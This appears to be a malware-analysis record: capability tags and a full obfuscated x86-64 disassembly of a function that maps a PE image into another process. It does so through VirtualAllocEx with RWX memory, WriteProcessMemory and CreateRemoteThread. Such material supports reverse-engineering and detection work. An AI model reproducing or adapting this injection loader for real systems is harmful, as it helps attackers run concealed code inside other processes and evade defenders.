Function at 0x14000b000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
btc ax, ax
movsx ax, dil
mov qword [rsp + 0x18], rsi
sub ax, r9w
mov qword [rsp + 0x20], rdi
push rbp
or bpl, 0x27
push r12
push r13
xor sil, dil
movsx bp, r12b
dec al
push r14
push r15
sbb ah, 0x23
shrd ax, r15w, 0xa9
movzx esi, cx
lea rbp, [rsp - 0xf]
sub al, r14b
sub rsp, 0xf0
mov rax, qword [section..data]
cmp r13, 0xffffffffb4215536
adc sil, 0xad
xor rax, rsp
movsx rsi, r9w
shr sil, cl
mov qword [rbp - 1], rax
movsxd rsi, r13d
cmp dil, dil
rcl al, cl
mov eax, 0x5a4d
movzx esi, cx
mov rsi, rcx
cmp word [0x140005080], ax
jmp 0x14000b08d
jne 0x14000b97e
movsxd r14, dword [0x1400050bc]
shld eax, r12d, 0xb4
lea r12, [0x140005080]
sar al, 0x2d
lea r14, [r14 + r12]
xor al, 0xad
sub al, 0x21
mov eax, 0x8664
clc
cmp word [r14 + 4], ax
jmp 0x14000b0c1
jne 0x14000b97e
mov r8d, dword [r14 + 0x50]
rcl r9b, 0x16
sub edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14000b97e
sub r13d, r13d
lea rax, [rbp - 0xd]
movzx cx, r11b
mov dword [rbp - 0xd], r13d
xchg r9b, r8b
cwd
mov rdx, r15
mov r8d, dword [r14 + 0x50]
mov cx, di
movsx r9, r10w
mov rcx, rsi
mov qword [rsp + 0x20], rax
bswap r9d
movsx r9w, r13b
lea r9d, [r13 + 0x40]
jmp 0x14000b12d
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
setb r9b
movsx rdx, r9w
cmovne r8w, bp
mov r9d, 0x1000
jmp 0x14000b152
mov qword [rsp + 0x50], rax
rdtsc
mov r8, r12
cdqe
mov rcx, rsp
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx dx, ah
not dh
movsx rcx, r14w
mov rdx, r15
mov qword [rsp + 0x58], rax
movsx ecx, bp
movzx rax, sp
mov rcx, rsi
nop
not al
jmp 0x14000b18d
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
jmp 0x14000b19e
mov qword [rbp - 0x71], r13
jmp 0x14000b1a7
mov qword [rbp - 0x69], 1
jmp 0x14000b1b4
mov qword [rbp - 0x59], 1
jmp 0x14000b1c1
mov qword [rbp - 0x79], r15
jmp 0x14000b1ca
mov qword [rbp - 0x61], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jmp 0x14000b1e0
je 0x14000b95f
movzx ebx, word [r14 + 0x14]
bswap edi
mov edi, r13d
add rbx, 0x2c
stc
cmp sp, 0xe987
cmp word [r14 + 6], r13w
jmp 0x14000b204
je 0x14000b297
lea rbx, [rbx + r14]
nop word [rax + rax]
inc ax
cbw
movsx eax, r9w
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000b26e
mov r8d, dword [rbx]
neg r9b
mov r9d, eax
movzx dx, r8b
mov edx, dword [rbx - 8]
add r8, r12
bts cx, cx
clc
add rdx, r15
bswap rcx
mov qword [rsp + 0x20], r13
xchg ecx, ecx
mov ecx, ebp
setae ch
mov rcx, rsi
jmp 0x14000b25b
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jmp 0x14000b268
je 0x14000b95f
movzx eax, word [r14 + 6]
jmp 0x14000b278
inc edi
add rbx, 0x28
test r10, 0xffffffffcd91bfbd
cmp r14w, di
cmc
cmp edi, eax
jmp 0x14000b291
jne 0x14000b21d
xor edx, edx
mov r8w, r15w
xchg cx, r8w
setno r8b
mov dword [rsp + 0x20], 4
movzx ecx, sp
movzx r9w, bl
mov r9d, 0x3000
not cx
movsx ecx, di
movsx r8w, r12b
mov rcx, rsi
cmovbe r8w, cx
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
stc
jmp 0x14000b2e1
test rax, rax
jmp 0x14000b2e9
je 0x14000b95f
mov r9d, 0x40
xchg dh, ch
mov qword [rsp + 0x20], r13
movzx dx, r11b
cmovnp r8, rbx
xchg r8d, ecx
lea r8, [rsp + 0x50]
mov ch, 0x27
mov rdx, rax
movsx cx, cl
xchg ch, cl
bswap cx
mov rcx, rsi
jmp 0x14000b324
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jmp 0x14000b331
je 0x14000b928
xor edx, edx
mov dword [rsp + 0x20], 0x40
cmovp cx, r10w
mov r9d, 0x3000
movzx ecx, ax
mov r8d, 0x1000
movsx rcx, dx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
not rdi
mov di, dx
mov rdi, rax
jmp 0x14000b375
test rax, rax
jmp 0x14000b37d
je 0x14000b928
mov r9d, 0x1000
cqo
mov qword [rsp + 0x20], r13
lea r8, [0x140001520]
cdq
setg dh
mov rdx, rax
mov rcx, rsi
jmp 0x14000b3a6
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jmp 0x14000b3b3
je 0x14000b8dd
mov qword [rsp + 0x30], r13
btr cx, 0x11
rcl rcx, cl
movsxd rcx, edi
mov r9, rdi
xor ch, dl
mov dword [rsp + 0x28], r13d
xor cx, 0xc29e
sbb cl, 0xbc
xor r8d, r8d
bt cx, dx
rol rcx, 0x8f
clc
xor edx, edx
not ch
jmp 0x14000b3f4
mov qword [rsp + 0x20], r12
movzx ecx, r8w
xchg cl, ch
setae cl
mov rcx, rsi
jmp 0x14000b40a
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14000b8dd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x11]
not rcx
movsx cx, ah
mov dword [rbp - 0x11], r13d
movzx cx, r13b
mov rcx, rsi
jmp 0x14000b43e
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x11], 0x103
jmp 0x14000b450
jne 0x14000b97e
xorps xmm0, xmm0
movzx r9w, r13b
cdq
mov qword [rsp + 0x20], r13
mov r9d, 0x40
mov dx, 0x76b2
lea r8, [rbp - 0x51]
bswap dx
setbe ch
mov dl, r12b
mov rdx, r12
not cx
movzx rcx, bp
mov rcx, rsi
jmp 0x14000b48d
movups xmmword [rbp - 0x51], xmm0
jmp 0x14000b496
movups xmmword [rbp - 0x41], xmm0
jmp 0x14000b49f
movups xmmword [rbp - 0x31], xmm0
jmp 0x14000b4a8
movups xmmword [rbp - 0x21], xmm0
jmp 0x14000b4b1
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x31]
test r11w, 0x693a
cmp rbx, 0x404040
jmp 0x14000b4cd
je 0x14000b8dd
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
jmp 0x14000b4e6
je 0x14000b422
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test r11b, 0x9a
cmc
test rax, rax
jmp 0x14000b507
je 0x14000b97e
sub edx, edx
mov cl, spl
movzx cx, r10b
mov r8d, 0x1400000
movzx ecx, r14w
mov rcx, rax
jmp 0x14000b529
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov cl, r15b
cqo
movsx cx, r8b
mov qword [rsp + 0x20], 0
mov dl, r14b
cmovl ecx, ecx
movzx cx, dh
mov r8, r13
mov rdx, r15
cmovp cx, r11w
jmp 0x14000b564
mov rcx, rsi
jmp 0x14000b56c
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r14 + 0x14]
nop
rcl al, cl
clc
sub edi, edi
movzx eax, word [r14 + 6]
cmc
add rbx, 0x18
test r14b, dl
lea rbx, [rbx + r14]
cmp r8, r11
test ax, ax
jmp 0x14000b59a
je 0x14000b6d7
lea r8, str..rsrc
lea r9, str..reloc
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
jmp 0x14000b5bc
je 0x14000b6b8
sub ecx, ecx
inc ah
movzx eax, r9w
nop dword [rax]
movsx rax, r13w
movsxd rax, r8d
movsx ax, dil
movzx eax, byte [rbx + rcx]
jmp 0x14000b5e6
inc rcx
jmp 0x14000b5f2
cmp al, byte [r8 + rcx - 1]
jmp 0x14000b5fc
jne 0x14000b616
cmp rcx, 6
jmp 0x14000b60b
jne 0x14000b5dd
jmp 0x14000b667
xor ecx, ecx
movzx eax, r9w
movsx ax, r11b
nop dword [rax + rax]
bswap ax
movsxd rax, r11d
movsx rax, r15w
movzx eax, byte [rbx + rcx]
jmp 0x14000b63c
inc rcx
cmp r9w, 0x15b6
cmp al, r11b
cmp al, byte [r9 + rcx - 1]
jmp 0x14000b652
jne 0x14000b6b8
cmp rcx, 7
jmp 0x14000b661
jne 0x14000b633
mov r9, rdx
cwd
mov qword [rsp + 0x20], 0
btc cx, cx
mov edx, dword [rbx + 0xc]
dec cl
shl r8w, cl
mov r8, r13
cmovbe ecx, eax
rol cl, 0x10
add rdx, r15
bswap cx
movzx rcx, di
mov rcx, rsi
jmp 0x14000b69d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..rsrc
lea r9, str..reloc
setge al
movsx ax, dl
movzx eax, word [r14 + 6]
inc edi
cmc
add rbx, 0x28
clc
cmc
cmp spl, 0x3b
cmp edi, eax
jmp 0x14000b6d1
jne 0x14000b5b2
movzx ebx, word [r14 + 0x14]
xor edi, edi
cmc
cmp sil, 0x8c
add rbx, 0x3c
cmc
test ax, ax
jmp 0x14000b6f0
je 0x14000b7d9
add rbx, r14
cmp r8b, r9b
movzx cx, sil
lea edx, [rdi + 0x20]
btc cx, 0xb0
sar rcx, cl
or cl, r12b
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
jmp 0x14000b719
je 0x14000b7b7
mov eax, dword [rbx]
stc
jmp 0x14000b727
mov dword [rbp - 0x11], 0
test r15b, 0x2e
cmp dl, 0xc
test eax, 0x80000000
jbe 0x14000b750
mov r9d, 4
jmp 0x14000b74b
jmp 0x14000b76f
test eax, 0x20000000
movzx r9, cx
mov r9d, 2
movzx eax, si
mov al, 0xa8
cmova r9d, edx
add r8, 0xffffffff938bf79b
mov edx, dword [rbx - 0x18]
test di, 0xf61d
rol rax, 0xbe
lea rax, [rbp - 0x11]
mov r8, rcx
or cx, cx
sar cx, 0xa5
xadd ch, cl
mov qword [rsp + 0x20], rax
add rdx, r15
cmova rcx, r15
movsx cx, r11b
sete cl
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, r13w
mov al, r8b
inc ah
movzx eax, word [r14 + 6]
jmp 0x14000b7c1
inc edi
test r15b, 0x1f
clc
add rbx, 0x28
cmp edi, eax
jmp 0x14000b7d3
jne 0x14000b70f
movzx eax, word [r14 + 0x14]
mov r9d, 2
movsx r8, cx
setnp r8b
mov dword [rbp - 9], 0
movsx cx, r15b
bswap edx
mov rdx, r15
mov r8b, sil
movsx r8d, si
movzx ecx, bp
mov rcx, rsi
movzx r8w, cl
mov r8d, dword [rax + r14 + 0x24]
lea rax, [rbp - 9]
jmp 0x14000b81d
mov qword [rsp + 0x20], rax
jmp 0x14000b827
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rsp + 0x40]
movzx r8w, r9b
bswap r9
cmovae r9d, r11d
mov r9d, 0x1000
xchg cx, r8w
movzx r8, bx
mov r8, r13
mov qword [rsp + 0x20], 0
movsxd rcx, edx
movzx cx, r9b
movsx ecx, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x40]
test al, r10b
mov r9d, 0x8000
dec rcx
bt cx, 0xb9
xor r8d, r8d
movzx cx, r11b
setge cl
mov rcx, rsi
jmp 0x14000b895
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
shrd rcx, rdx, 0xaf
movsx cx, r13b
sub r8d, r8d
not dx
cmovo dx, si
mov rdx, r12
movzx rcx, ax
not ch
movsx cx, r8b
mov rcx, rsi
jmp 0x14000b8cb
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14000b8d8
jmp 0x14000b983
mov r9d, 0x8000
sub r8d, r8d
not cx
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
neg rcx
add cl, r10b
xor r8d, r8d
movsx cx, r12b
mov rdx, r12
movsx cx, bl
xchg ch, ch
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x14000b923
jmp 0x14000b962
mov r9d, 0x8000
setnp ch
movzx ecx, bx
adc cx, 0x29be
xor r8d, r8d
mov rdx, r15
setno ch
movsx ecx, dx
movzx rcx, r13w
mov rcx, rsi
jmp 0x14000b951
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r12
jmp 0x14000b962
mov rdx, r15
mov r9d, 0x8000
btc cx, r8w
xor r8d, r8d
movsx cx, r12b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
sub al, al
rcr cl, 0x88
mov rcx, qword [rbp - 1]
cmc
xor rcx, rsp
jmp 0x14000b990
call fcn.140001bc0
lea r11, [rsp + 0xf0]
movsx r14d, r14w
mov ebx, ecx
mov rbx, qword [r11 + 0x38]
movsx r13d, r15w
movzx rbp, r14w
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
not r12b
pop r15
pop r14
pop r13
pop r12
xchg bp, bp
jmp 0x14000b9cd
pop rbp
jmp 0x14000b9d3
ret